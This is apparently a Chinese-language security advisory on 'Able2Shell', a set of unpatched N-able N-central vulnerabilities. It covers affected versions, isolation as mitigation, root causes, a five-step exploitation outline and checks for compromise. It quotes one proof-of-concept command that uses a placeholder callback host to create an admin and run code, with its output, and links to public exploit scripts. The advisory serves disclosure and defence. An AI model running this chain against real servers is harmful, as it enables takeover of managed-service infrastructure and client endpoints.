N-able N-central RCE:33 个零日漏洞,暂无补丁(Able2Shell)
N-able N-central 的 Able2Shell 攻击链让未认证攻击者以 nable 或 root 身份执行代码,目前没有补丁。
TL;DR
- 一名研究人员公开了 N-able N-central 中的 33 个漏洞和 4 条攻击链。N-central 是托管服务提供商用来管理客户终端的远程监控与管理平台。这些攻击链可达到以
nable用户或 root 身份执行代码。 - 研究人员在 N-central Appliance 2026.4.0.31 上测试,并表示较早版本很可能受影响。N-able 尚未发布公开公告或修复版本。
- N-able 已下线 Hosted N-central,并要求本地部署客户关闭服务器。该公司表示未发现利用迹象,正在开发紧急修复。
- 截至 2026 年 11 月 10 日,Able2Shell 的 33 个漏洞均未列入 CISA 的 Known Exploited Vulnerabilities(KEV)目录。此前的五个 N-central CVE(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218)已列入,说明该产品线曾遭受攻击。
- 将 N-central 与互联网隔离,限制控制台访问到可信网络,并执行“如何检查是否已遭入侵?”中的检查。参见“如何修复?”。
我受影响吗?
以下条件全部成立时,你受影响:
- 你运行 N-able N-central,包括本地部署设备或托管服务。
- 设备版本为 2026.4.0.31 或更早。研究人员测试了 2026.4.0.31,并表示较早版本和当前版本很可能受影响。
- 攻击者可通过网络访问 N-central Web 界面。主要攻击链不需要账户。
无论披露时你的租户是否可访问,托管服务都受到 N-able 下线的影响。N-able 表示作为预防措施下线了 Hosted N-central 环境。
N-able 尚未发布公开公告、修复版本矩阵或版本检查命令。请在控制台记录设备版本,并在 N-able 发布矩阵前将任何 2026.4 版本视为受影响。研究人员的仓库将测试版本标为 2026.4.0.31。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| N-central Appliance(本地部署) | 2026.4.0.31,已测试;研究人员称较早版本很可能受影响 | 未发布;N-able 表示紧急修复正在进行 |
| Hosted N-central | N-able 的托管服务,已下线 | 无;服务处于离线状态 |
如何修复?
目前没有补丁。网络隔离是当前唯一有效的控制措施,可关闭研究人员演示的远程路径。
- 立即将 N-central 服务器移出互联网。仅允许来自管理 VLAN、VPN 或固定管理员地址列表的控制台访问。
- 如果服务器曾可从互联网访问,将其视为可能已遭入侵。保留日志和磁盘镜像用于调查,然后从已知良好的镜像重建,并轮换其存储的所有凭据。
- 关注 N-able 的状态页面和信任中心以获取紧急修复。发布后立即应用,然后对照 N-able 的矩阵重新检查版本。
- 删除或禁用你不认识的 N-central 账户,先从研究人员攻击链创建的 1002 角色管理员开始。
- 检查设备的出站连接及其托管代理策略。N-central 可以向每台已注册终端推送脚本和命令,因此服务器被入侵会危及客户环境。
该缓解措施有局限。隔离阻止通过网络利用。它不能阻止已在管理网络上的攻击者,也不能删除攻击者已创建的账户或 JSP。只有疑似入侵后的重建才能处理这些情况。
根本原因是什么?
N-able 尚未发布补丁或源代码。这里的根本原因是研究人员在公开 Able2Shell 仓库中记录的机制:旧版接口族信任调用方提供的身份和会话状态,特权助手消费 nable 用户可写的文件。
设备在现代控制台旁边暴露三个旧版接口族:MMS2、MMS3 和 ServerEI2。其中多个从请求而不是从已认证会话接受身份。
- 服务导入解析器在检查提供的 UI 会话之前解析攻击者提供的外部实体。因此匿名调用方可以窃取轮换的 NCI 会话并复用其本地信任上下文。
- MMS3 通行码由设备的十进制 ID 确定性派生。因此匿名调用方可以生成并确认 JWT,创建设备会话。
- 特权助手消费
nable可写目录中的配置,不检查所有权、包含关系或完整性。syslog 安装器、升级前助手和 sendmail 选项处理是研究人员演示的三个例子。
公开的概念验证展示了组合后的匿名攻击链。以下是研究人员的命令,仅保留选择攻击链的参数:
$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host <CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --create-admin-username <NEW_ADMIN_USERNAME> --create-admin-password '<NEW_ADMIN_PASSWORD>' --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
输出记录了两个结果:一个启用的 1002 角色管理员账户,以及以 uid=992(nable) 执行命令。
如何被利用?
匿名攻击链从未认证请求到以 nable 执行代码分为五步。
- 攻击者发送匿名 MMS2 服务导入请求,其 XML 引用攻击者控制的 DTD。
- 解析器在实施 UI 会话之前解析外部实体。响应或回调泄露轮换的 NCI 会话,攻击者复用设备的本地信任上下文。
- 借助该上下文,攻击者重置现有产品管理员的密码,或通过同一攻击链创建新的 1002 角色管理员。
- 攻击者登录,并使用文件写入原语将可执行 JSP 放入已部署的 Jetty Web 根目录。服务导入链、SIS GenericFiles 版本遍历和 File Repository 文件名遍历各自提供一种方式。
- JSP 以
nable服务账户运行。随后攻击者将配置文件放入nable可写且由 root 助手消费的目录,助手以 root 执行该文件。
研究人员记录了多种其他达到 nable 或 root 的方法,包括备份恢复通知选项注入、自校验 NSP 上传和升级前助手。从 MMS3 补丁元数据中的匿名存储 XSS 开始的攻击链,也可通过 Audit Export 的 syslog-ng 语法注入达到 root。
研究人员还公开了 GenericTCP 命令路径中需要 ProductAdmin 认证的栈溢出。该概念验证针对禁用 ASLR 的单 worker 隔离实验室校准,其自然字节仅执行固定的 ps 命令,随后 worker 崩溃。应将其视为实验室结果,而不是可靠的远程利用。
攻击如何展开?
未认证请求到达旧版解析器,该解析器在检查会话之前解析 XML 实体。由此获得的会话信任再加上文件写入,最终以 nable 执行代码,并通过特权助手进入 root。
攻击者能做什么?
完成攻击链的攻击者控制 N-central 服务器,并通过它控制其管理的终端。研究人员演示了以 nable 和 root 执行命令。他还展示了创建启用的管理员账户、泄露资产发现数据库凭据和可复用的 Ecosystem Agent 凭据,以及篡改远程控制审计记录。
条件是影响的一部分:
- 攻击者需要能通过网络访问 N-central Web 界面。主要攻击链不需要账户,也不需要用户交互。
- 部分单个漏洞需要 ProductAdmin 或 Technician 账户。对于已经窃取会话或重置密码的攻击者,这些账户仍然有用。
- 通过 syslog 安装器以 root 执行,需要先有
nable执行原语。研究人员组合了两个步骤;两者都不是独立的从网络到 root 的步骤。 - GenericTCP 栈溢出需要 ProductAdmin 账户和研究人员的实验室条件。
N-able 表示未观察到这些漏洞的利用。此前的 N-central 漏洞是另一回事:CISA 已将五个 N-central CVE 列入 Known Exploited Vulnerabilities 目录,表明该产品线此前已被攻击。
为什么修复有效?
没有公开补丁,因此本节说明修复必须改变什么。只关闭一个原语的补丁会让攻击链继续存在,因为研究人员组合了会话窃取、文件写入和特权助手。
完整修复必须做三件事:
- 在任何 XML 解析器解析外部实体之前验证请求及其会话,并在服务导入和自定义服务解析器中拒绝外部实体。
- 将以设备 ID 派生的 MMS3 通行码替换为与设备绑定并轮换的随机密钥,并在每个受保护处理程序中拒绝伪造的设备会话。
- 让每个 root 助手验证其消费文件的所有权、路径和完整性,使
nable可写目录不能变成 root 执行。
在 N-able 发布这些更改之前,隔离是消除远程路径的控制措施。它不能修复已经遭入侵的服务器。
如何检查是否已遭入侵?
研究人员未发布入侵指标,因此这些检查寻找已演示攻击链造成的状态。命中是线索,不是证据。
- 列出 N-central 管理员账户,寻找你未创建的 1002 角色账户。公开攻击链会创建一个,除非请求清理,否则保持启用。
- 在已部署的 Web 根目录中查找你未部署的 JSP 文件。服务导入、SIS 和 File Repository 原语会将可执行 JSP 写入 Jetty 目录树。
- 检查 Audit Export 目标中是否有你未配置的
program()条目。Audit Export 注入会添加一个,并以 root 运行。 - 检查计划任务及其参数中是否有你不认识的 GenericTCP 命令、任务 ID 和参数数量。GenericTCP 概念验证在一个任务上设置包含 41 个参数的命令。
- 检查不是你发起的密码重置和管理员登录,并将其与对 MMS2、MMS3 和 ServerEI2 端点的匿名请求关联。
- 检查设备和托管代理的出站连接中是否有你不认识的主机。
失败的尝试可能不留痕迹。如果任何检查命中,请保留日志并重建服务器,而不是就地清理。
时间线
- 2025-08-13:CISA 将 N-central 的两个漏洞 CVE-2025-8875 和 CVE-2025-8876 加入 KEV。
- 2026-08-03:CISA 将 N-central 认证绕过和账户接管漏洞 CVE-2026-18577 加入 KEV。
- 2026-08-04:CISA 将 N-central 认证绕过漏洞 CVE-2026-18556 加入 KEV。
- 2026-09-08:CISA 将认证前 N-central 代码注入漏洞 CVE-2026-86218 加入 KEV。
- 2026-11-09:研究人员公开 33 个漏洞和 4 条攻击链;N-able 下线 Hosted N-central,并要求本地部署客户关闭服务器。
常见问题
Able2Shell 是否已在野利用?
没有确认的利用。N-able 表示未发现活跃利用迹象,研究人员展示的是带有公开概念验证代码的实验室演示。此前的五个 N-central CVE 已在 CISA KEV 中,表明该产品线是攻击目标。
有补丁吗?
没有。N-able 表示正在开发紧急修复,并在此期间下线了托管服务。研究人员称这些漏洞在测试的最新预发布版本上仍然有效,且未修复。
托管服务下线是否意味着我的数据被访问?
N-able 没有这样说。该公司将下线描述为预防措施,并表示未发现利用迹象。它尚未发布客户通知或取证报告。
概念验证脚本需要凭据吗?
主要攻击链不需要。匿名服务导入链不需要账户,并且可以创建管理员。其他条目需要 ProductAdmin 或 Technician 账户,攻击者可通过第一条链获得。
较早的 N-central 版本受影响吗?
很可能。研究人员测试了 2026.4.0.31,并写道较早版本应该受影响,包括发布时的最新版本。N-able 尚未发布受影响版本矩阵。
为什么 RMM 被入侵比单台服务器被入侵更重要?
N-central 管理许多客户组织的终端。被入侵的服务器可以向每台已注册设备推送脚本、安装软件并打开远程会话,因此一次设备入侵可能暴露托管服务提供商的整个客户环境。
使用 Ostorlab 查找暴露的 N-central 服务器
Ostorlab 攻击面发现会清点你环境中暴露在互联网上的主机和设备。随后你可以找到仍可访问的 N-central 控制台,并优先将其移出网络。这是暴露主机清单,不是对该攻击链的检测。
参考文献
- Oracle-Security/CVEs,“Able2Shell - N-Central N-Able”,33 个漏洞说明、4 条攻击链和概念验证脚本:https://github.com/Oracle-Security/CVEs/tree/main/0-Days/N-Central%20N-Able (2026 年 11 月 10 日检查)
- The Hacker News,“N-able Takes Hosted N-central Offline After Researcher Discloses 33 Zero-Days with PoC Exploits”,2026 年 11 月 10 日,N-able 的声明、受影响服务和研究人员披露:https://thehackernews.com/2026/11/n-able-takes-hosted-n-central-offline.html (2026 年 11 月 10 日检查)
- N-able 状态仪表板,Hosted N-central 服务状态:https://uptime.n-able.com/ (2026 年 11 月 10 日检查)
- CISA Known Exploited Vulnerabilities 目录 JSON 源,五个 N-central 条目(CVE-2025-8875、CVE-2025-8876、CVE-2026-18577、CVE-2026-18556、CVE-2026-86218):https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (2026 年 11 月 10 日检查)
- CVE-2026-86218 记录,认证前 N-central 代码注入:https://www.cve.org/CVERecord?id=CVE-2026-86218 (2026 年 11 月 10 日检查)
- 研究人员的匿名 XXE 攻击链概念验证:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/anonymous_xxe_nable_rce.py (2026 年 11 月 10 日检查)
- 研究人员的 syslog 安装器 root 概念验证:https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/syslog_installer_root_rce.py (2026 年 11 月 10 日检查)